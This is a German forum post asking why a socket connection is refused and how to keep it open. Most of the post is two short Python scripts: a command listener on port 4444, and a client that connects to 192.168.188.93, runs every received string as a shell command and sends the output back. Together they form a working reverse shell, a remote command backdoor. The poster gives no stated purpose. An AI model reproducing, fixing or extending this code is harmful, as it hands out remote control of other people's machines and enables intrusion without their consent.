Jetzt verbindet es gar nicht mehr, es kommt nur der Host hat die Verbindung verweigert. Könnt ihr mit helfen das eine Verbindung entsteht die nicht geschlossen wird?
Server Code:
Code: Alles auswählen
import socket
host = ""
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)
connection, addr = s.accept()
print("Connection to " + addr[0])
data = connection.recv(256)
print (data)
while True:
cmd = raw_input("Command: ")
connection.send(cmd)
data = connection.recv(256)
print(data)
connection.close()
Code: Alles auswählen
import socket
import subprocess
host = "192.168.188.93"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("Verbindung aufgebaut")
while True:
data = s.recv(256)
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stdout.read()
s.send(stdout)